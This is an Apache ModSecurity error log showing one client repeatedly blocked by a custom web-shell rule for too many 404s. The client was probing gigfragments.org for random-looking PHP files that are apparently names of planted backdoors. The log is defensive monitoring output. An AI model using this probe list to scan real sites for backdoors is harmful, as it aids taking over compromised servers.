[Sat Apr 11 03:41:09.255973 2026] [:error] [pid 21568:tid 21577] [client 4.219.9.127:7066] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adlSVYiz5v_ljZxkpR8InQAAAQU"]
[Sat Apr 11 03:41:10.051891 2026] [:error] [pid 21570:tid 21688] [client 4.219.9.127:54907] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adlSVjKs5t9xRSNL6cn9iAAAAE4"]
[Sat Apr 11 03:41:10.802330 2026] [:error] [pid 21570:tid 21670] [client 4.219.9.127:6193] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adlSVjKs5t9xRSNL6cn9iQAAAEQ"]
[Sat Apr 11 03:41:11.580924 2026] [:error] [pid 21569:tid 21678] [client 4.219.9.127:6402] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlSV3AvQTgvXJ6vHorI4QAAAJY"]
[Sat Apr 11 03:41:12.981351 2026] [:error] [pid 21570:tid 21663] [client 4.219.9.127:34393] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlSWDKs5t9xRSNL6cn9jQAAAEE"]
[Sat Apr 11 03:41:13.637910 2026] [:error] [pid 21568:tid 21589] [client 4.219.9.127:18697] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlSWYiz5v_ljZxkpR8IogAAARE"]
[Sat Apr 11 03:41:14.429813 2026] [:error] [pid 21706:tid 21715] [client 4.219.9.127:19939] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlSWiGQ1M5d8fQSsLEYWQAAAAc"]
[Sat Apr 11 03:41:15.290686 2026] [:error] [pid 21706:tid 21724] [client 4.219.9.127:39806] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adlSWyGQ1M5d8fQSsLEYXwAAABA"]
[Sat Apr 11 03:41:15.909775 2026] [:error] [pid 21706:tid 21732] [client 4.219.9.127:28992] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adlSWyGQ1M5d8fQSsLEYZwAAABg"]
[Sat Apr 11 03:41:16.878471 2026] [:error] [pid 55451:tid 55472] [client 4.219.9.127:34495] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adlSXHApxuyB7yCS5RldEwAAANM"]
[Sat Apr 11 03:41:17.655131 2026] [:error] [pid 21568:tid 21578] [client 4.219.9.127:29011] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "adlSXYiz5v_ljZxkpR8IrQAAAQY"]
[Sat Apr 11 03:41:18.416778 2026] [:error] [pid 21570:tid 21673] [client 4.219.9.127:32781] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adlSXjKs5t9xRSNL6cn9lgAAAEY"]
[Sat Apr 11 03:41:19.359564 2026] [:error] [pid 55451:tid 55469] [client 4.219.9.127:6947] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adlSX3ApxuyB7yCS5RldGAAAANA"]
[Sat Apr 11 03:41:20.137817 2026] [:error] [pid 55451:tid 55474] [client 4.219.9.127:39761] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adlSYHApxuyB7yCS5RldGwAAANU"]
[Sat Apr 11 03:41:21.751206 2026] [:error] [pid 21569:tid 21678] [client 4.219.9.127:34444] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxiviLDIot.php"] [unique_id "adlSYXAvQTgvXJ6vHorI6gAAAJY"]
[Sat Apr 11 03:41:22.495687 2026] [:error] [pid 21569:tid 21651] [client 4.219.9.127:29001] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adlSYnAvQTgvXJ6vHorI7wAAAIY"]
[Sat Apr 11 03:41:23.362549 2026] [:error] [pid 55451:tid 55473] [client 4.219.9.127:34427] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adlSY3ApxuyB7yCS5RldKwAAANQ"]
[Sat Apr 11 03:41:24.272079 2026] [:error] [pid 21568:tid 21590] [client 4.219.9.127:54851] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adlSZIiz5v_ljZxkpR8IuAAAARI"]
[Sat Apr 11 03:41:26.680718 2026] [:error] [pid 21569:tid 21664] [client 4.219.9.127:39803] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hanyatersenyum.php"] [unique_id "adlSZnAvQTgvXJ6vHorI9gAAAJA"]
[Sat Apr 11 03:41:27.380198 2026] [:error] [pid 21706:tid 21711] [client 4.219.9.127:39788] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlSZyGQ1M5d8fQSsLEYgQAAAAM"]
[Sat Apr 11 03:41:28.021920 2026] [:error] [pid 55451:tid 55460] [client 4.219.9.127:40836] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlSaHApxuyB7yCS5RldNAAAAMc"]
[Sat Apr 11 03:41:28.988436 2026] [:error] [pid 55451:tid 55454] [client 4.219.9.127:34414] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlSaHApxuyB7yCS5RldNQAAAME"]
[Sat Apr 11 03:41:29.836039 2026] [:error] [pid 55451:tid 55462] [client 4.219.9.127:40870] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlSaXApxuyB7yCS5RldOQAAAMk"]
[Sat Apr 11 03:41:30.681303 2026] [:error] [pid 21706:tid 21710] [client 4.219.9.127:29010] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upll22.php"] [unique_id "adlSaiGQ1M5d8fQSsLEYiAAAAAI"]
[Sat Apr 11 03:41:31.546003 2026] [:error] [pid 21706:tid 21716] [client 4.219.9.127:32799] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upll22.php"] [unique_id "adlSayGQ1M5d8fQSsLEYjwAAAAg"]
[Sat Apr 11 03:41:32.522889 2026] [:error] [pid 21568:tid 21590] [client 4.219.9.127:54862] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upll22.php"] [unique_id "adlSbIiz5v_ljZxkpR8IzAAAARI"]
[Sat Apr 11 03:41:33.268597 2026] [:error] [pid 21570:tid 21688] [client 4.219.9.127:19916] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upll22.php"] [unique_id "adlSbTKs5t9xRSNL6cn9rQAAAE4"]
[Sat Apr 11 03:41:34.105346 2026] [:error] [pid 21568:tid 21587] [client 4.219.9.127:6449] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "adlSboiz5v_ljZxkpR8IzwAAAQ8"]
[Sat Apr 11 03:41:35.064109 2026] [:error] [pid 21706:tid 21718] [client 4.219.9.127:40854] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "adlSbyGQ1M5d8fQSsLEYpQAAAAo"]
[Sat Apr 11 03:41:36.750174 2026] [:error] [pid 21569:tid 21669] [client 4.219.9.127:33765] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "adlScHAvQTgvXJ6vHorJBwAAAJI"]
[Sat Apr 11 03:41:38.992355 2026] [:error] [pid 21706:tid 21711] [client 4.219.9.127:34467] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "adlSciGQ1M5d8fQSsLEYtQAAAAM"]
[Sat Apr 11 03:41:40.445094 2026] [:error] [pid 21706:tid 21714] [client 4.219.9.127:6197] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adlSdCGQ1M5d8fQSsLEYwAAAAAY"]
[Sat Apr 11 03:41:41.802922 2026] [:error] [pid 21569:tid 21656] [client 4.219.9.127:29034] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adlSdXAvQTgvXJ6vHorJIwAAAIs"]
[Sat Apr 11 03:41:42.670342 2026] [:error] [pid 21568:tid 21584] [client 4.219.9.127:40195] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adlSdoiz5v_ljZxkpR8I4gAAAQw"]
[Sat Apr 11 03:41:43.813521 2026] [:error] [pid 21569:tid 21669] [client 4.219.9.127:28157] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adlSd3AvQTgvXJ6vHorJJgAAAJI"]
[Sat Apr 11 03:41:44.765856 2026] [:error] [pid 21706:tid 21724] [client 4.219.9.127:7098] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "adlSeCGQ1M5d8fQSsLEY2AAAABA"]
[Sat Apr 11 03:41:45.983774 2026] [:error] [pid 21570:tid 21689] [client 4.219.9.127:7044] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "adlSeTKs5t9xRSNL6cn9vgAAAE8"]
[Sat Apr 11 03:41:47.938184 2026] [:error] [pid 21706:tid 21723] [client 4.219.9.127:39799] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "adlSeyGQ1M5d8fQSsLEY7wAAAA8"]
[Sat Apr 11 03:41:48.714477 2026] [:error] [pid 55451:tid 55453] [client 4.219.9.127:6408] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "adlSfHApxuyB7yCS5RldSgAAAMA"]
[Sat Apr 11 03:41:52.393155 2026] [:error] [pid 55451:tid 55455] [client 4.219.9.127:7102] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlSgHApxuyB7yCS5RldVwAAAMI"]
[Sat Apr 11 03:41:53.073787 2026] [:error] [pid 21568:tid 21575] [client 4.219.9.127:39782] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlSgYiz5v_ljZxkpR8I_wAAAQM"]
[Sat Apr 11 03:41:53.794424 2026] [:error] [pid 55451:tid 55464] [client 4.219.9.127:34466] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlSgXApxuyB7yCS5RldXQAAAMs"]
[Sat Apr 11 03:41:55.137150 2026] [:error] [pid 55451:tid 55454] [client 4.219.9.127:34399] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlSg3ApxuyB7yCS5RldZAAAAME"]
[Sat Apr 11 03:41:57.451989 2026] [:error] [pid 21570:tid 21693] [client 4.219.9.127:7099] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adlShTKs5t9xRSNL6cn91QAAAFM"]
[Sat Apr 11 03:41:59.001063 2026] [:error] [pid 55451:tid 55475] [client 4.219.9.127:54866] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adlShnApxuyB7yCS5RlddgAAANY"]
[Sat Apr 11 03:42:01.549900 2026] [:error] [pid 55451:tid 55473] [client 4.219.9.127:6455] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adlSiXApxuyB7yCS5RldfQAAANQ"]
[Sat Apr 11 03:42:12.460792 2026] [:error] [pid 55451:tid 55470] [client 4.219.9.127:6168] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlSlHApxuyB7yCS5RldpwAAANE"]
[Sat Apr 11 03:42:13.772974 2026] [:error] [pid 21568:tid 21580] [client 4.219.9.127:19934] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlSlYiz5v_ljZxkpR8JEgAAAQg"]
[Sat Apr 11 03:42:14.444385 2026] [:error] [pid 21568:tid 21587] [client 4.219.9.127:39756] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlSloiz5v_ljZxkpR8JFQAAAQ8"]
[Sat Apr 11 03:42:15.485410 2026] [:error] [pid 21568:tid 21590] [client 4.219.9.127:19921] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlSl4iz5v_ljZxkpR8JGgAAARI"]
[Sat Apr 11 03:42:16.232983 2026] [:error] [pid 55451:tid 55463] [client 4.219.9.127:35986] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adlSmHApxuyB7yCS5RldsAAAAMo"]
[Sat Apr 11 03:42:16.904048 2026] [:error] [pid 21706:tid 21727] [client 4.219.9.127:7086] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adlSmCGQ1M5d8fQSsLEZeAAAABM"]
[Sat Apr 11 03:42:17.590740 2026] [:error] [pid 21568:tid 21574] [client 4.219.9.127:19913] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adlSmYiz5v_ljZxkpR8JIgAAAQI"]
[Sat Apr 11 03:42:18.706034 2026] [:error] [pid 21570:tid 21668] [client 4.219.9.127:33745] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adlSmjKs5t9xRSNL6cn9_AAAAEM"]
[Sat Apr 11 03:42:19.522386 2026] [:error] [pid 55451:tid 55476] [client 4.219.9.127:6451] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adlSm3ApxuyB7yCS5RldsgAAANc"]
[Sat Apr 11 03:42:20.602200 2026] [:error] [pid 21706:tid 21709] [client 4.219.9.127:32769] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "adlSnCGQ1M5d8fQSsLEZhgAAAAE"]
